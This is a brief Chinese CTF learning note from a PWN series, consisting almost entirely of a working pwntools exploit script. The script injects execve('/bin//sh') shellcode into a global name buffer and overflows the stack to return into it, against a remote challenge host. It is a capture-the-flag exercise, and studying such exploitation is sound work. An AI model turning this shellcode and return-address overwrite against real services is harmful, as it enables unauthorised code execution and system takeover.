第一次打CTF——PWN篇学习笔记18
向name中注入shellcode再栈溢出返回到该地址执行即可,注意shellcode长度不能超过0x25
from pwn import * import struct context.arch = 'amd64' context.os = 'linux' #io = process('./pwn') io = remote("node4.anna.nssctf.cn",28141) shellcode = asm(''' xor rsi, rsi push rsi mov rdi, 0x68732f2f6e69622f push rdi mov rdi, rsp xor rdx, rdx mov rax, 0x3b syscall ''') io.sendline(shellcode) name = 0x6010A0 payload = cyclic(0xA + 8) + p64(name) io.sendline(payload) io.interactive()